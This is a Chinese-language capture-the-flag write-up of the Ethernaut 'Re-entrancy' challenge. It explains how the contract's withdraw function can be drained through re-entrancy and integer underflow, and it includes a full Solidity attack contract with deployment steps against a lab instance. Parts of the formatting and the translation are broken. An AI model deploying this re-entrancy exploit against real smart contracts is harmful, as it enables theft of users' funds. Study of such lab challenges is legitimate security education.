Re-entrancy
1. 题目要求
1.1 这一关的目标是偷走合约的所有资产.
这些可能有帮助:
- 不可信的合约可以在你意料之外的地方执行代码.
- Fallback methods
- 抛出/恢复 bubbling
- 有的时候攻击一个合约的最好方式是使用另一个合约.
- 查看上方帮助页面, “Beyond the console” 部分
1.2 题目代码:
1 | // SPDX-License-Identifier: MIT |
2. 分析
tips: 参考博客
2.1 分析代码
function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
- a.该功能检查是否`msg.sender`有足够的余额来提取`_amount`以太币
- b.`_amount`它继续通过一个低级函数发送请求,`call`该函数将使用所有剩余的`gas`来执行操作
- c.它更新`msg.sender`减少金额的余额
- `**漏洞利用选项 1,懒惰而不聪明的选项:在循环中利用重入**
如果资金不是问题,我们可以`0.001 ether / 100`通过`donate`函数发送并重新进入`withdraw`函数 100 次 + 初始调用。
`0.001 ether / 100`只是一个任意值,我们只需要确保在重新进入函数时不会消耗太多气体,`withdraw`否则交易会因为**Out of Gas 异常**而恢复。
**漏洞利用选项 2,切肉刀方式:利用重入和下溢**
这个解决方案要优雅得多,它利用了两个不同的问题:重入和下溢!
我们已经知道重入问题,并且我们说`balances[msg.sender] -= _amount`“正常”操作的下溢将受到保护,因为`balances[msg.sender] >= _amount`即使该操作不使用`SafeMath`,如果我们确定 max,也没有办法下溢可能`balances[msg.sender]`会**归零**。
但是因为我们可以重新输入,所以我们可以执行两次相同的`balances[msg.sender] -= _amount`操作,所以我们的余额第一次会变为零,但第二次会`type(uint256).max`因为下溢而变为零!
此时,我们可以调用`withdraw`提取存储在受害者合约中的全部以太币!
**注意:**第二种解决方案**只有**在下溢的情况下才有可能。如果不存在下溢问题,我们仍然可以通过重入循环解决方案来解决挑战。`
- 2.2 [参考视频](https://www.youtube.com/watch?v=K8AFyNiuTXs) 写的攻击合约:
- ```solidity
interface IReentracy {
function donate(address) external payable;
function withdraw(uint256) external;
}
contract Hack{
IReentracy private immutable target;
constructor(address _target) public {
target = IReentracy(_target);
}
function attack() public payable{
target.donate.value(0.001 ether)(address(this));
target.withdraw(1e18);
}
receive() external payable {
uint amount = min(1e18, address(target).balance);
if (amount > 0) {
target.withdraw(amount);
}
require(address(target).balance == 0, "target balance > 0");
selfdestruct(payable(msg.sender));
}
function min(uint x, uint y) private pure returns(uint) {
return x <= y ? x : y;
}
}2.3 进行重入攻击即可
3. 解题
3.1 获取关卡的实例:0xcf96fB43ffF6B6F8c05f353ce8271931271E69b0
3.2 利用实例地址部署Hack合约,调用attrack() 函数
设置msg.value = 1 ether
3.3 提交实例并查看结果
3.4 成功!!!!!